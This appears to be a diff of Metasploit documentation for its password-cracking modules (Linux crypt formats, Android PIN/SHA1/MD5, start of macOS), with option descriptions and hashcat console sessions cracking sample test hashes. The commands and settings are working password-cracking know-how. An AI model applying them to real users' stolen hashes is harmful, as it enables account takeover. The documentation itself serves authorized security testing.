|
||||
[*] Auxiliary module execution completed
|
||||
resource (hashes_hashcat.rb)> creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type JtR Format
|
||||
---- ------ ------- ------ ------- ----- ------------ ----------
|
||||
des2_password rEK1ecacw.7.c Nonreplayable hash des
|
||||
des_password rEK1ecacw.7.c Nonreplayable hash des
|
||||
des_55 rDpJV6xlcXxRM Nonreplayable hash des
|
||||
des_pot_55 fakeV6xlcXxRM Nonreplayable hash des
|
||||
des_passphrase qiyh4XPJGsOZ2MEAyLkfWqeQ Nonreplayable hash des
|
||||
md5_password $1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/ Nonreplayable hash md5
|
||||
md52_password $1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/ Nonreplayable hash md5
|
||||
md5_pot_password $1$O3JMY.Tw$AdLnLjQ/5jXF9.fakegHv/ Nonreplayable hash md5
|
||||
bsdi_password _J9..K0AyUubDrfOgO4s Nonreplayable hash bsdi
|
||||
sha256_password $5$MnfsQ4iN$ZMTppKN16y/tIsUYs/obHlhdP.Os80yXhTurpBMUbA5 Nonreplayable hash sha256
|
||||
sha512_password $6$zWwwXKNj$gLAOoZCjcr8p/.VgV/FkGC3NX7BsXys3KHYePfuIGMNjY83dVxugPYlxVg/evpcVEJLT/rSwZcDMlVVf/bhf.1 Nonreplayable hash sha512
|
||||
blowfish_password $2a$05$bvIG6Nmid91Mu9RcmmWZfO5HJIMCT8riNW0hEp8f6/FuA2/mHZFpe Nonreplayable hash bf
|
||||
md5_pot_password password Password
|
||||
md5_password password Password
|
||||
md52_password password Password
|
||||
des_pot_55 55 Password
|
||||
des2_password password Password
|
||||
des_password password Password
|
||||
des_55 55 Password
|
||||
des_passphrase passphrase Password
|
||||
bsdi_password password Password
|
||||
blowfish_password password Password
|
||||
sha256_password password Password
|
||||
sha512_password password Password
|
||||
```
|
||||
|
||||
### Hashcat
|
||||
|
||||
We'll set `ITERATION_TIMEOUT 60` for a quick crack, `blowfish true`, `sha256 true`, `sha512 true` to handle the bfish, sha256 and sha512 hashes,
|
||||
and `ShowCommand true` for easy debugging.
|
||||
|
||||
```
|
||||
resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
|
||||
CUSTOM_WORDLIST => /tmp/wordlist
|
||||
resource (hashes_hashcat.rb)> setg ShowCommand true
|
||||
ShowCommand => true
|
||||
resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
|
||||
USE_DEFAULT_WORDLIST => false
|
||||
resource (hashes_hashcat.rb)> setg DeleteTempFiles false
|
||||
DeleteTempFiles => false
|
||||
resource (hashes_hashcat.rb)> setg USE_CREDS false
|
||||
USE_CREDS => false
|
||||
resource (hashes_hashcat.rb)> setg USE_DB_INFO false
|
||||
USE_DB_INFO => false
|
||||
resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
|
||||
USE_HOSTNAMES => false
|
||||
resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
|
||||
USE_ROOT_WORDS => false
|
||||
resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
|
||||
ITERATION_TIMEOUT => 60
|
||||
resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_linux
|
||||
resource (hashes_hashcat.rb)> set blowfish true
|
||||
blowfish => true
|
||||
resource (hashes_hashcat.rb)> set sha256 true
|
||||
sha256 => true
|
||||
resource (hashes_hashcat.rb)> set sha512 true
|
||||
sha512 => true
|
||||
resource (hashes_hashcat.rb)> set action hashcat
|
||||
action => hashcat
|
||||
resource (hashes_hashcat.rb)> run
|
||||
[+] hashcat Version Detected: v5.1.0
|
||||
[*] Hashes Written out to /tmp/hashes_tmp20190531-28535-hi2lkf
|
||||
[*] Wordlist file written out to /tmp/jtrtmp20190531-28535-47c707
|
||||
[*] Checking md5crypt hashes already cracked...
|
||||
[*] Cracking md5crypt hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=p5KJBBFs --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=500 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[*] Cracking md5crypt hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=p5KJBBFs --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=500 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf /tmp/jtrtmp20190531-28535-47c707
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1327 md5crypt md5_password password Wordlist
|
||||
1328 md5crypt md52_password password Wordlist
|
||||
1329 md5crypt md5_pot_password password Already Cracked/POT
|
||||
|
||||
[*] Checking descrypt hashes already cracked...
|
||||
[*] Cracking descrypt hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=8qLTJwqG --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1500 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[*] Cracking descrypt hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=8qLTJwqG --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1500 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf /tmp/jtrtmp20190531-28535-47c707
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1322 descrypt des2_password password Wordlist
|
||||
1323 descrypt des_password password Wordlist
|
||||
1324 descrypt des_55 55 Incremental
|
||||
1325 descrypt des_pot_55 55 Already Cracked/POT
|
||||
1327 md5crypt md5_password password Wordlist
|
||||
1328 md5crypt md52_password password Wordlist
|
||||
1329 md5crypt md5_pot_password password Already Cracked/POT
|
||||
|
||||
[*] Checking bsdicrypt hashes already cracked...
|
||||
[*] Cracking bsdicrypt hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=RShDcHzl --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=12400 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[*] Cracking bsdicrypt hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=RShDcHzl --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=12400 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf /tmp/jtrtmp20190531-28535-47c707
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1322 descrypt des2_password password Wordlist
|
||||
1323 descrypt des_password password Wordlist
|
||||
1324 descrypt des_55 55 Incremental
|
||||
1325 descrypt des_pot_55 55 Already Cracked/POT
|
||||
1327 md5crypt md5_password password Wordlist
|
||||
1328 md5crypt md52_password password Wordlist
|
||||
1329 md5crypt md5_pot_password password Already Cracked/POT
|
||||
1330 bsdicrypt bsdi_password password Wordlist
|
||||
|
||||
[*] Checking bcrypt hashes already cracked...
|
||||
[*] Cracking bcrypt hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=wNHLTkTX --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=3200 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[*] Cracking bcrypt hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=wNHLTkTX --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=3200 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf /tmp/jtrtmp20190531-28535-47c707
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1322 descrypt des2_password password Wordlist
|
||||
1323 descrypt des_password password Wordlist
|
||||
1324 descrypt des_55 55 Incremental
|
||||
1325 descrypt des_pot_55 55 Already Cracked/POT
|
||||
1327 md5crypt md5_password password Wordlist
|
||||
1328 md5crypt md52_password password Wordlist
|
||||
1329 md5crypt md5_pot_password password Already Cracked/POT
|
||||
1330 bsdicrypt bsdi_password password Wordlist
|
||||
1333 bcrypt blowfish_password password Wordlist
|
||||
|
||||
[*] Checking sha256crypt hashes already cracked...
|
||||
[*] Cracking sha256crypt hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=uNQu0c8S --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=7400 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[*] Cracking sha256crypt hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=uNQu0c8S --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=7400 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf /tmp/jtrtmp20190531-28535-47c707
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1322 descrypt des2_password password Wordlist
|
||||
1323 descrypt des_password password Wordlist
|
||||
1324 descrypt des_55 55 Incremental
|
||||
1325 descrypt des_pot_55 55 Already Cracked/POT
|
||||
1327 md5crypt md5_password password Wordlist
|
||||
1328 md5crypt md52_password password Wordlist
|
||||
1329 md5crypt md5_pot_password password Already Cracked/POT
|
||||
1330 bsdicrypt bsdi_password password Wordlist
|
||||
1331 sha256crypt sha256_password password Wordlist
|
||||
1333 bcrypt blowfish_password password Wordlist
|
||||
|
||||
[*] Checking sha512crypt hashes already cracked...
|
||||
[*] Cracking sha512crypt hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=0GST7Eb1 --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1800 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[*] Cracking sha512crypt hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=0GST7Eb1 --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1800 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf /tmp/jtrtmp20190531-28535-47c707
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1322 descrypt des2_password password Wordlist
|
||||
1323 descrypt des_password password Wordlist
|
||||
1324 descrypt des_55 55 Incremental
|
||||
1325 descrypt des_pot_55 55 Already Cracked/POT
|
||||
1327 md5crypt md5_password password Wordlist
|
||||
1328 md5crypt md52_password password Wordlist
|
||||
1329 md5crypt md5_pot_password password Already Cracked/POT
|
||||
1330 bsdicrypt bsdi_password password Wordlist
|
||||
1331 sha256crypt sha256_password password Wordlist
|
||||
1332 sha512crypt sha512_password password Wordlist
|
||||
1333 bcrypt blowfish_password password Wordlist
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
resource (hashes_hashcat.rb)> creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type JtR Format
|
||||
---- ------ ------- ------ ------- ----- ------------ ----------
|
||||
md5_password password Password
|
||||
blowfish_password $2a$05$bvIG6Nmid91Mu9RcmmWZfO5HJIMCT8riNW0hEp8f6/FuA2/mHZFpe Nonreplayable hash bf
|
||||
des_pot_55 55 Password
|
||||
des_password password Password
|
||||
md52_password $1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/ Nonreplayable hash md5
|
||||
sha256_password password Password
|
||||
bsdi_password _J9..K0AyUubDrfOgO4s Nonreplayable hash bsdi
|
||||
sha512_password $6$zWwwXKNj$gLAOoZCjcr8p/.VgV/FkGC3NX7BsXys3KHYePfuIGMNjY83dVxugPYlxVg/evpcVEJLT/rSwZcDMlVVf/bhf.1 Nonreplayable hash sha512
|
||||
bsdi_password password Password
|
||||
sha512_password password Password
|
||||
blowfish_password password Password
|
||||
des2_password rEK1ecacw.7.c Nonreplayable hash des
|
||||
des_55 55 Password
|
||||
des2_password password Password
|
||||
md5_password $1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/ Nonreplayable hash md5
|
||||
des_pot_55 fakeV6xlcXxRM Nonreplayable hash des
|
||||
des_password rEK1ecacw.7.c Nonreplayable hash des
|
||||
md52_password password Password
|
||||
md5_pot_password password Password
|
||||
md5_pot_password $1$O3JMY.Tw$AdLnLjQ/5jXF9.fakegHv/ Nonreplayable hash md5
|
||||
des_passphrase qiyh4XPJGsOZ2MEAyLkfWqeQ Nonreplayable hash des
|
||||
des_55 rDpJV6xlcXxRM Nonreplayable hash des
|
||||
sha256_password $5$MnfsQ4iN$ZMTppKN16y/tIsUYs/obHlhdP.Os80yXhTurpBMUbA5 Nonreplayable hash sha256
|
||||
```
|
||||
@@ -0,0 +1,266 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module attempts to use a password cracker to decode mobile (Android)
|
||||
based password hashes, such as:
|
||||
|
||||
* `android-sha1` based passwords
|
||||
* `android-samsung-sha1` based passwords
|
||||
* `android-md5` based passwords
|
||||
|
||||
Formats:
|
||||
|
||||
| Common | John | Hashcat |
|
||||
|----------------------| -----|---------|
|
||||
| android-md5 | n/a | 10 |
|
||||
| android-samsung-sha1 | n/a | 5800 |
|
||||
| android-sha1 | n/a | 110 |
|
||||
|
||||
Sources of hashes can be found here:
|
||||
[source](https://hashcat.net/forum/thread-2202.html)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Have at least one user with a `android-sha1`, `android-samsung-sha1`, or `android-md5` password in the database
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/analyze/crack_mobile```
|
||||
4. Do: set cracker of choice
|
||||
5. Do: ```run```
|
||||
6. You should hopefully crack a password.
|
||||
|
||||
## Actions
|
||||
|
||||
**hashcat**
|
||||
|
||||
Use hashcat (default).
|
||||
|
||||
## Options
|
||||
|
||||
**MD5**
|
||||
|
||||
Crack `android-md5` based passwords. Default is `true`
|
||||
|
||||
**SHA1**
|
||||
|
||||
Crack `android-sha1` (non-samsung) based passwords. Default is `true`
|
||||
|
||||
**SAMSUNG**
|
||||
|
||||
Crack `android-samsung-sha1` based passwords. Default is `true`
|
||||
|
||||
**CONFIG**
|
||||
|
||||
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
|
||||
|
||||
**CRACKER_PATH**
|
||||
|
||||
The absolute path to the cracker executable. Default behavior is to search `path`.
|
||||
|
||||
**CUSTOM_WORDLIST**
|
||||
|
||||
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
|
||||
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
|
||||
|
||||
**DeleteTempFiles**
|
||||
|
||||
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
|
||||
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
|
||||
|
||||
**Fork**
|
||||
|
||||
This option will set how many forks to use on john the ripper. Default is `1` (no forking).
|
||||
|
||||
**INCREMENTAL**
|
||||
|
||||
Run the cracker in incremental mode. Default is `true`
|
||||
|
||||
**ITERATION_TIMEOUT**
|
||||
|
||||
The max-run-time for each iteration of cracking
|
||||
|
||||
**KORELOGIC**
|
||||
|
||||
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
|
||||
Default is `false`.
|
||||
|
||||
**MUTATE**
|
||||
|
||||
Apply common mutations to the Wordlist (SLOW). Mutations are:
|
||||
|
||||
* `'@' => 'a'`
|
||||
* `'0' => 'o'`
|
||||
* `'3' => 'e'`
|
||||
* `'$' => 's'`
|
||||
* `'7' => 't'`
|
||||
* `'1' => 'l'`
|
||||
* `'5' => 's'`
|
||||
|
||||
Default is `false`.
|
||||
|
||||
**POT**
|
||||
|
||||
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
|
||||
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
|
||||
Default is `~/.msf4/john.pot`.
|
||||
|
||||
**SHOWCOMMAND**
|
||||
|
||||
Show the command being used run from the command line for debugging. Default is `false`
|
||||
|
||||
**USE_CREDS**
|
||||
|
||||
Use existing credential data saved in the database. Default is `true`.
|
||||
|
||||
**USE_DB_INFO**
|
||||
|
||||
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
|
||||
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
|
||||
|
||||
**USE_DEFAULT_WORDLIST**
|
||||
|
||||
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
|
||||
`true`.
|
||||
|
||||
**USE_HOSTNAMES**
|
||||
|
||||
Seed the wordlist with hostnames from the workspace. Default is `true`.
|
||||
|
||||
**USE_ROOT_WORDS**
|
||||
|
||||
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
|
||||
is true.
|
||||
|
||||
**WORDLIST**
|
||||
|
||||
Run the cracker in dictionary/wordlist mode. Default is `true`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Sample Data
|
||||
|
||||
The following is data which can be used to test integration, including adding entries
|
||||
to a wordlist and pot file to test various aspects of the cracker.
|
||||
|
||||
```
|
||||
creds add user:androidsha1 hash:D1B19A90B87FC10C304E657F37162445DAE27D16:a006983800cc3dd1 jtr:android-sha1
|
||||
```
|
||||
|
||||
### Hashcat
|
||||
|
||||
We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
|
||||
|
||||
```
|
||||
msf5 post(android/gather/hashdump) > creds add user:androidsha1 hash:D1B19A90B87FC10C304E657F37162445DAE27D16:a006983800cc3dd1 jtr:android-sha1
|
||||
msf5 post(android/gather/hashdump) > previous
|
||||
msf5 auxiliary(analyze/crack_mobile) > set showcommand true
|
||||
showcommand => true
|
||||
msf5 auxiliary(analyze/crack_mobile) > run
|
||||
|
||||
[+] hashcat Version Detected: v5.1.0
|
||||
[*] Hashes Written out to /tmp/hashes_tmp20191112-9775-19hbg7j
|
||||
[*] Wordlist file written out to /tmp/jtrtmp20191112-9775-f3q0r1
|
||||
[*] Checking android-sha1 hashes already cracked...
|
||||
[*] Cracking android-sha1 hashes in pin mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=UrEHXRVq --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=5800 --increment --increment-min=4 --increment-max=8 --attack-mode=3 --runtime=300 /tmp/hashes_tmp20191112-9775-19hbg7j ?d?d?d?d?d?d?d?d
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[*] Cracking android-sha1 hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=UrEHXRVq --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=5800 --increment --increment-max=4 --attack-mode=3 /tmp/hashes_tmp20191112-9775-19hbg7j
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[*] Cracking android-sha1 hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=UrEHXRVq --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=5800 --attack-mode=0 /tmp/hashes_tmp20191112-9775-19hbg7j /tmp/jtrtmp20191112-9775-f3q0r1
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
98 android-sha1 androidsha1 1234 Pin
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
```
|
||||
|
||||
### MD5, SHA1, SAMSUNG
|
||||
|
||||
Create a password with each type, passwords are all `1234`.
|
||||
|
||||
```
|
||||
msf5 > creds add user:samsungsha1 hash:D1B19A90B87FC10C304E657F37162445DAE27D16:a006983800cc3dd1 jtr:android-samsung-sha1
|
||||
msf5 > creds add user:androidsha1 hash:9860A48CA459D054F3FEF0F8518CF6872923DAE2:81fcb23bcadd6c5 jtr:android-sha1
|
||||
msf5 > creds add user:androidmd5 hash:1C0A0FDB673FBA36BEAEB078322C7393:81fcb23bcadd6c5 jtr:android-md5
|
||||
```
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/analyze/crack_mobile
|
||||
msf5 auxiliary(analyze/crack_mobile) > run
|
||||
|
||||
[+] hashcat Version Detected: v5.1.0
|
||||
[*] Hashes Written out to /tmp/hashes_tmp20191113-29506-1xydi7
|
||||
[*] Wordlist file written out to /tmp/jtrtmp20191113-29506-aq6ph7
|
||||
[*] Checking android-sha1 hashes already cracked...
|
||||
[*] Cracking android-sha1 hashes in pin mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=ishUl4hb --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=110 --increment --increment-min=4 --increment-max=8 --attack-mode=3 --runtime=300 /tmp/hashes_tmp20191113-29506-1xydi7 ?d?d?d?d?d?d?d?d
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[*] Cracking android-sha1 hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=ishUl4hb --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=110 --increment --increment-max=4 --attack-mode=3 /tmp/hashes_tmp20191113-29506-1xydi7
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[*] Cracking android-sha1 hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=ishUl4hb --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=110 --attack-mode=0 /tmp/hashes_tmp20191113-29506-1xydi7 /tmp/jtrtmp20191113-29506-aq6ph7
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
127 android-sha1 androidsha1 1234 Pin
|
||||
|
||||
[*] Checking android-samsung-sha1 hashes already cracked...
|
||||
[*] Cracking android-samsung-sha1 hashes in pin mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=SMD3wSMl --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=5800 --increment --increment-min=4 --increment-max=8 --attack-mode=3 --runtime=300 /tmp/hashes_tmp20191113-29506-1xydi7 ?d?d?d?d?d?d?d?d
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[*] Cracking android-samsung-sha1 hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=SMD3wSMl --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=5800 --increment --increment-max=4 --attack-mode=3 /tmp/hashes_tmp20191113-29506-1xydi7
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[*] Cracking android-samsung-sha1 hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=SMD3wSMl --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=5800 --attack-mode=0 /tmp/hashes_tmp20191113-29506-1xydi7 /tmp/jtrtmp20191113-29506-aq6ph7
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
126 android-samsung-sha1 samsungsha1 1234 Pin
|
||||
127 android-sha1 androidsha1 1234 Pin
|
||||
|
||||
[*] Checking android-md5 hashes already cracked...
|
||||
[*] Cracking android-md5 hashes in pin mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=outBsYDa --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=10 --increment --increment-min=4 --increment-max=8 --attack-mode=3 --runtime=300 /tmp/hashes_tmp20191113-29506-1xydi7 ?d?d?d?d?d?d?d?d
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[*] Cracking android-md5 hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=outBsYDa --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=10 --increment --increment-max=4 --attack-mode=3 /tmp/hashes_tmp20191113-29506-1xydi7
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[*] Cracking android-md5 hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=outBsYDa --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=10 --attack-mode=0 /tmp/hashes_tmp20191113-29506-1xydi7 /tmp/jtrtmp20191113-29506-aq6ph7
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
126 android-samsung-sha1 samsungsha1 1234 Pin
|
||||
127 android-sha1 androidsha1 1234 Pin
|
||||
128 android-md5 androidmd5 1234 Pin
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,395 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module attempts to use a password cracker to decode Mac OS X
|
||||
based password hashes, such as:
|
||||
|
||||
* `XSHA` based passwords (10.4-10.6)
|
||||
* `XSHA512` based passwords (10.7)
|
||||
* `PBKDF2-HMAC-SHA512` based passwords (10.8+)
|
||||
|
||||
| Common | John | Hashcat |
|
||||
|--------------------|--------------------|---------|
|
||||
| xsha | xsha | 122 |
|
||||
| xsha512 | xsha512 | 1722 |
|
||||
| pbkdf2-hmac-sha512 | pbkdf2-hmac-sha512 | 7100 |
|
||||
|
||||
Sources of hashes can be found here:
|
||||
[source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Have at least one user with an `xsha`, `xsha512`, `pbkdf2-hmac-sha512` password hash in the database
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/analyze/crack_osx```
|
||||
4. Do: set cracker of choice
|
||||
5. Do: ```run```
|
||||
6. You should hopefully crack a password.
|
||||
|
||||
## Actions
|
||||
|
||||
**john**
|
||||
|
||||
Use john the ripper (default).
|
||||
|
||||
**hashcat**
|
||||
|
||||
Use hashcat.
|
||||
|
||||
## Options
|
||||
|
||||
**CONFIG**
|
||||
|
||||
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
|
||||
|
||||
**CRACKER_PATH**
|
||||
|
||||
The absolute path to the cracker executable. Default behavior is to search `path`.
|
||||
|
||||
**CUSTOM_WORDLIST**
|
||||
|
||||
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
|
||||
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
|
||||
|
||||
**DeleteTempFiles**
|
||||
|
||||
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
|
||||
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
|
||||
|
||||
**Fork**
|
||||
|
||||
This option will set how many forks to use on john the ripper. Default is `1` (no forking).
|
||||
|
||||
**INCREMENTAL**
|
||||
|
||||
Run the cracker in incremental mode. Default is `true`
|
||||
|
||||
**ITERATION_TIMEOUT**
|
||||
|
||||
The max-run-time for each iteration of cracking.
|
||||
|
||||
**KORELOGIC**
|
||||
|
||||
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
|
||||
Default is `false`.
|
||||
|
||||
**MUTATE**
|
||||
|
||||
Apply common mutations to the Wordlist (SLOW). Mutations are:
|
||||
|
||||
* `'@' => 'a'`
|
||||
* `'0' => 'o'`
|
||||
* `'3' => 'e'`
|
||||
* `'$' => 's'`
|
||||
* `'7' => 't'`
|
||||
* `'1' => 'l'`
|
||||
* `'5' => 's'`
|
||||
|
||||
Default is `false`.
|
||||
|
||||
**PBKDF2-HMAC-SHA512**
|
||||
|
||||
Crack SHA12 hashes. Default is `true`.
|
||||
|
||||
**POT**
|
||||
|
||||
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
|
||||
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
|
||||
Default is `~/.msf4/john.pot`.
|
||||
|
||||
**SHOWCOMMAND**
|
||||
|
||||
Show the command being used run from the command line for debugging. Default is `false`
|
||||
|
||||
**USE_CREDS**
|
||||
|
||||
Use existing credential data saved in the database. Default is `true`.
|
||||
|
